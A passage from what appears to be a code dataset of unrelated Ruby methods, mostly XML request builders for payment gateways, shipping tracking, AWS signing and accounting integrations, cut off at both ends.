xmlns:m=\"http://schemas.microsoft.com/ado/2007/08/dataservices/metadata\"\n xmlns=\"http://www.w3.org/2005/Atom\">\n <id></id>\n <title type=\"text\"></title>\n <updated>#{@time}</updated>\n <author><name /></author>\n <category term=\"pomegranateModel.Asset\" scheme=\"http://schemas.microsoft.com/ado/2007/08/dataservices/scheme\" />\n <content type=\"application/xml\">\n <m:properties>\n <d:AssetID>--</d:AssetID>\n <d:AssetData>#{type === \"TEXT\" ? escape_xml(value) : value}</d:AssetData>\n <d:AssetType>#{type}</d:AssetType>\n <d:AssetMeta></d:AssetMeta>\n <d:AssetRecordID>#{@record_id}</d:AssetRecordID>\n <d:Target>#{target}</d:Target>\n <d:Client>#{@client_id}</d:Client>\n <d:Status>#{@client_id == \"P0\" ? \"UPLOADED\" : \"APPROVED\"}</d:Status>\n </m:properties>\n </content>\n </entry>\n EOF\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code = authorization.to_s.split(';')\n \n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n \n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def to_xml(xml)\n xml[:c].view3D {\n xml[:c].rotX :val=>@rotX unless @rotX.nil?\n xml[:c].hPercent :val=>@hPercent unless @hPercent.nil?\n xml[:c].rotY :val=>@rotY unless @rotY.nil?\n xml[:c].depthPercent :val=>@depthPercent unless @depthPercent.nil?\n xml[:c].rAngAx :val=>@rAngAx unless @rAngAx.nil?\n xml[:c].perspective :val=>@perspective unless @perspective.nil?\n }\n end", "def capture_transaction\n data = full_params.merge(\n 'x_unique_id' => unique_id,\n 'x_invoice_num' => invoice_num,\n 'x_auth_code' => approval_code,\n 'x_type' => \"CAPTURE_ONLY\"\n )\n\n astro_curl(@validator_url, data)\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def capture_transaction(location_id:,\n transaction_id:)\n warn 'Endpoint capture_transaction in TransactionsApi is deprecated'\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/locations/{location_id}/transactions/{transaction_id}/capture',\n 'default')\n .template_param(new_parameter(location_id, key: 'location_id')\n .should_encode(true))\n .template_param(new_parameter(transaction_id, key: 'transaction_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def _to_xml(xml)\n end", "def build_void_or_capture_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :authcode, auth_code\n xml.tag! :method, type\n end\n\n if money\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id]) unless options[:order_id].nil?\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n end\n xml.target!\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do |s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def records_as_xml( quantity = 1 )\n people_arr = []\n self.records(quantity).each do |p|\n people_arr.push( p.to_hash() )\n end\n XmlSimple.xml_out( { :person => people_arr },\n { :NoAttr=>true, :RootName=>:people, :XmlDeclaration=>true }\n )\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ProxyCount'] = proxy_count if proxy_count\n xml.tag!('samlp:Scoping', attributes) {\n xml << idp_list.to_xml if idp_list\n requester_ids.each { |requester_id| xml << requester_id.to_xml }\n }\n end", "def make_url(method, params)\n params[:key] = @key\n params[:output] = 'xml'\n\n super method, params\n end", "def build_xml(xml, tag_name)\n xml['cbc'].send(tag_name, { unitCode: unit_code }, quantity)\n end", "def capture(money, authorization, options = {})\n options[:confirmation_id] = authorization\n response_message = 'XML Capture file successfully submitted.'\n begin\n xml = build_capture_xml(money, options)\n success = upload_file xml\n rescue Exception => e\n response_message = \"XML Capture failed: #{e.message}\"\n end\n #TODO: what to build for the response? what is needed?\n response = {}\n # Return the response.\n Response.new(success, response_message, response,\n :test => test?,\n # :authorization => @response['authorizationCode'],\n # :avs_code => @response['addressValidationCode'],\n # :transaction_id => @response['transactionCode']\n )\n end", "def hash_xml(xml, params)\n params.each do |key, value|\n xml = xml_key_value(key, value, xml)\n end\n xml\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def build_request\n b = builder\n xml = b.SignatureProofOfDeliveryRequest(:xmlns => \"http://fedex.com/ws/track/v#{VERSION[:major]}\") do\n build_authentication(b)\n build_version(b, \"trck\", VERSION[:major], VERSION[:intermediate], VERSION[:minor])\n \n b.Type image_type\n b.TrackingNumber tracking_number\n b.FaxDetail fax_number if fax_number\n b.LetterFormat image_file_type\n end\n end", "def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end", "def generate_xml( args={} )\n biomart_xml = \"\"\n xml = Builder::XmlMarkup.new( :target => biomart_xml, :indent => 2 )\n \n xml.instruct!\n xml.declare!( :DOCTYPE, :Query )\n xml.Query( :virtualSchemaName => \"default\", :formatter => \"TSV\", :header => \"0\", :uniqueRows => \"1\", :count => args[:count], :datasetConfigVersion => \"0.6\" ) {\n xml.Dataset( :name => @name, :interface => \"default\" ) {\n \n if args[:filters]\n args[:filters].each do |name,value|\n if value.is_a? Array\n value = value.join(\",\")\n end\n xml.Filter( :name => name, :value => value )\n end\n else\n self.filters.each do |name,filter|\n if filter.default\n xml.Filter( :name => name, :value => filter.default_value )\n end\n end\n end\n \n unless args[:count]\n if args[:attributes]\n args[:attributes].each do |name|\n xml.Attribute( :name => name )\n end\n else\n self.attributes.each do |name,attribute|\n if attribute.default\n xml.Attribute( :name => name )\n end\n end\n end\n end\n \n }\n }\n \n return biomart_xml\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def build_xml\n ns = \"http://fedex.com/ws/rate/v#{service[:version]}\"\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.RateRequest(:xmlns => ns){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_requested_shipment(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def records_as_xml( quantity = 1 )\n addr_arr = self.records(quantity)\n XmlSimple.xml_out( { :address => addr_arr },\n { :NoAttr=>true, :RootName=>:emailing,\n :XmlDeclaration=>true } )\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml(xm)\n xm.ResourceTemplate do |xm|\n value_tag(xm, \"rel\")\n value_tag(xm, \"name\")\n value_tag(xm, \"path_template\")\n value_tag(xm, \"uri_template\")\n\n list_tag(xm, params, \"Params\", \"param\")\n list_tag(xm, optional_params, \"OptionalParams\", \"param\")\n\n # could use a list of elements here, but let's follow HTTP's lead and reduce the verbosity\n xm.options(options.join(\", \")) unless options.empty?\n\n resource_templates.to_xml(xm) unless resource_templates.empty?\n end\n xm\n end", "def build_result(action)\n xml = ''\n doc = Builder::XmlMarkup.new(:target => xml)\n doc.tag!(\"#{action}Response\", :xmlns => \"http://sdb.amazonaws.com/doc/2007-11-07\") do\n if block_given?\n yield doc\n end\n \n doc.ResponseMetadata do\n doc.RequestId \"1234\"\n doc.BoxUsage \"0\"\n end\n end\n \n xml\n end", "def to_xml\n xml = \"<ticket>\\n\"\n xml << \"\\t<subject>#{@subject}</subject>\\n\"\n xml << \"\\t<description>#{@description}</description>\\n\"\n xml << \"\\t<requester-name>#{@requester_name}</requester-name>\\n\"\n xml << \"\\t<requester-email>#{@requester_email}</requester-email>\\n\"\n xml << \"\\t<set-tags>#{@tags}</set-tags>\\n\"\n xml << \"</ticket>\"\n return xml\n end", "def to_xml\n xml_builder = Nokogiri::XML::Builder.new do |xml|\n xml.Package('xmlns' => 'http://soap.sforce.com/2006/04/metadata') {\n self.each do |key, members|\n xml.types {\n members.each do |member|\n xml.members member\n end\n xml.name key.to_s.camelize\n }\n end\n xml.version Metaforce.configuration.api_version\n }\n end\n xml_builder.to_xml\n end", "def records_as_xml( quantity = 1 )\n addr_arr = self.records(quantity).collect { |a| a.to_hash }\n XmlSimple.xml_out( { :address => addr_arr },\n { :NoAttr=>true,\n :RootName=>:mailing,\n :XmlDeclaration=>true } )\n end", "def to_XML()\n element = REXML::Element.new \"depth#{@depth}\"\n element.attributes[\"name\"] = @sec_id\n element.attributes[\"value\"] = @value\n element.attributes[\"descendants\"] = @descendants\n return element\n end", "def capture(transaction_id, amount)\n params = {\n :transaction_amount => amount,\n :transaction_id => transaction_id,\n :operation => 'CAPTURE',\n }\n\n process_response params\n end", "def to_xml\n xml = '<Action>'\n @data.each_pair {|k,v| xml += \"<#{k}>#{v}</#{k}>\"}\n xml += '</Action>'\n end", "def prepare_params(params)\n s_params = {}\n params.each_pair {|k,v| s_params[k.to_s] = v }\n s_params['api_key'] = FacebookApi.api_key\n s_params['v'] = FacebookApi::API_VERSION\n s_params['call_id'] = Time.now.to_f.to_s\n s_params['format'] = 'JSON'\n s_params['sig'] = FacebookApi.calculate_signature(s_params)\n s_params\n end", "def build_request\n b = builder\n xml = b.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v#{VERSION[:major]}\") do\n build_authentication(b)\n build_version(b, \"trck\", VERSION[:major], VERSION[:intermediate], VERSION[:minor])\n \n b.PackageIdentifier do\n b.Value tracking_number\n b.Type \"TRACKING_NUMBER_OR_DOORTAG\"\n end\n \n b.IncludeDetailedScans true\n end\n end", "def generate_request(method, path, params={}, body=nil, headers={}) # :nodoc:\n # Params\n params.delete_if{ |key, val| val.blank? }\n unless params.blank?\n path += \"?\" + params.to_a.collect{ |key,val| \"#{AwsUtils::amz_escape(key)}=#{AwsUtils::amz_escape(val.to_s)}\" }.join(\"&\")\n end\n # Headers\n headers['content-type'] ||= 'text/xml' if body\n headers['date'] = Time.now.httpdate\n # Auth\n signature = AwsUtils::sign(@aws_secret_access_key, headers['date'])\n headers['Authorization'] = \"AWS #{@aws_access_key_id}:#{signature}\"\n # Request\n path = \"#{@params[:service]}#{@params[:api_version]}/#{path}\"\n request = \"Net::HTTP::#{method.capitalize}\".constantize.new(path)\n request.body = body if body\n # Set request headers\n headers.each { |key, value| request[key.to_s] = value }\n # prepare output hash\n { :request => request, \n :server => @params[:server],\n :port => @params[:port],\n :protocol => @params[:protocol] }\n end", "def build_purchase_or_authorization_request(type, money, credit_card, options)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n \n xml.tag! :Transaction do\n xml.tag! :CardTxn do\n xml.tag! :method, type\n \n add_credit_card(xml, credit_card, options[:billing_address] || options[:address])\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n end\n end\n end\n xml.target!\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def generate_request(method, path, params={}, body=nil, headers={}) # :nodoc:\n # Params\n params.delete_if{ |key, val| val.right_blank? }\n unless params.right_blank?\n path += \"?\" + params.to_a.collect{ |key,val| \"#{AwsUtils::amz_escape(key)}=#{AwsUtils::amz_escape(val.to_s)}\" }.join(\"&\")\n end\n # Headers\n headers['content-type'] ||= 'text/xml' if body\n headers['date'] = Time.now.httpdate\n # Auth\n signature = AwsUtils::sign(@aws_secret_access_key, headers['date'])\n headers['Authorization'] = \"AWS #{@aws_access_key_id}:#{signature}\"\n # Request\n path = \"#{@params[:service]}#{@params[:api_version]}/#{path}\"\n request = \"Net::HTTP::#{method.capitalize}\".right_constantize.new(path)\n request.body = body if body\n # Set request headers\n headers.each { |key, value| request[key.to_s] = value }\n # prepare output hash\n { :request => request, \n :server => @params[:server],\n :port => @params[:port],\n :protocol => @params[:protocol] }\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def to_xml\n\n prelude = \"<?xml version='1.0'?>\\n<Root xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='file:///order.xsd'>\\n<order>\"\n str= [ add_costs_xml,\n additional_text_xml,\n customer_id,\n delivery_country_code,\n delivery_date_xml,\n delivery_name_1,\n delivery_name_2,\n delivery_name_3,\n delivery_place,\n delivery_print_code_xml,\n delivery_street,\n delivery_codes,\n delivery_zipcode,\n discount_xml,\n gross_price_code,\n invoice_country_code,\n invoice_name_1,\n invoice_name_2,\n invoice_name_3,\n invoice_place,\n invoice_print_code_xml,\n invoice_street,\n invoice_zipcode,\n order_type,\n payment_codes,\n reference_1,\n reference_2,\n representative_1,\n short_name,\n urgent_code,\n tax_code,\n order_release_code\n ].compact\n str.each do |s|\n s = s.force_encoding('UTF-8')\n end\n all = str.join(\"\\n\")\n ending = \"<positionen AnzPos='#{positions.length}'>#{xml_for(positions)}</positionen>\\n</order>\\n</Root>\"\n prelude + all + ending\n end", "def to_xml_string(str = +'')\n str << '<filters '\n serialized_attributes(str)\n str << '>'\n filter_items.each { |filter| filter.to_xml_string(str) }\n date_group_items.each { |date_group_item| date_group_item.to_xml_string(str) }\n str << '</filters>'\n end", "def to_xml\n a = REXML::Element.new(\"property\")\n a.add_attribute(\"id\", name)\n a.add_element(\"name\").text = name\n if (parameter)\n a.add_element(\"parameter\").text = parameter\n end\n if (description)\n a.add_element(\"description\").text = description\n end\n if (@options)\n p @options\n @options.each {|name, value|\n a.add_element(name.to_s).text = value.to_s\n }\n end\n return a\n end", "def accounting_xml(filter_flag=INFO_ALL, options={})\n acct_hash = Hash.new\n xml_str = \"<HISTORY_RECORDS>\\n\"\n\n rc = build_accounting(filter_flag, options) do |history|\n xml_str << history.to_xml\n end\n\n return rc if OpenNebula.is_error?(rc)\n\n xml_str << \"\\n</HISTORY_RECORDS>\"\n xml_str\n end", "def capture(transaction_id, amount)\n params = {\n :query => {\n :amount => amount,\n :transactionId => transaction_id,\n :operation => \"CAPTURE\",\n }\n }\n \n Responses::CaptureResponse.new(self.class.get(\"/Netaxept/Process.aspx\", params).parsed_response)\n end", "def aim_xml(obj, fields, extra_data = {}, name = obj.class.to_s)\r\n # \tfields\r\n # to_hash(obj, fields)\r\n # to_hash(obj, fields).merge(extra_data)\r\n # Builder::XmlMarkup.new.tag! name, to_hash(obj, fields).merge(extra_data)\r\n y = to_hash(obj, fields)\r\n b = Builder::XmlMarkup.new.tag!(obj.class.to_s, y.merge(extra_data))\r\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def capture_transaction_with_http_info(location_id, transaction_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TransactionsApi.capture_transaction ...\"\n end\n # verify the required parameter 'location_id' is set\n fail ArgumentError, \"Missing the required parameter 'location_id' when calling TransactionsApi.capture_transaction\" if location_id.nil?\n # verify the required parameter 'transaction_id' is set\n fail ArgumentError, \"Missing the required parameter 'transaction_id' when calling TransactionsApi.capture_transaction\" if transaction_id.nil?\n # resource path\n local_var_path = \"/v2/locations/{location_id}/transactions/{transaction_id}/capture\".sub('{format}','json').sub('{' + 'location_id' + '}', location_id.to_s).sub('{' + 'transaction_id' + '}', transaction_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n \n header_params['Square-Version'] = \"2018-07-12\"\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CaptureTransactionResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#capture_transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def buildXML(transform_obj)\n xml_string = '<PoortegoTransformResponse xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:noNamespaceSchemaLocation=\"' + \"#{ENV['POORTEGO_LOCAL_BASE']}/poortego/lib/core/poortego_transform/xml/PoortegoTransformResponse.xsd\" + '\">'\n \n xml_string << '<ResponseData>'\n ## Entities\n xml_string << '<Entities>'\n transform_obj.responseEntities.each do |responseEntity|\n xml_string << '<Entity'\n responseEntity.attributes.each do |key,value|\n xml_string << \" #{key}='#{value}'\"\n end\n xml_string << '>'\n responseEntity.additionalFields.each do |name,value|\n xml_string << \"<AdditionalField name='#{name}' value='#{value}' />\"\n end\n xml_string << '</Entity>'\n end\n xml_string << '</Entities>'\n \n ## Links\n xml_string << '<Links>'\n transform_obj.responseLinks.each do |responseLink|\n xml_string << '<Link'\n responseLink.attributes.each do |key,value|\n xml_string << \" #{key}='#{value}'\"\n end\n xml_string << '>'\n responseLink.additionalFields.each do |name,value|\n xml_string << 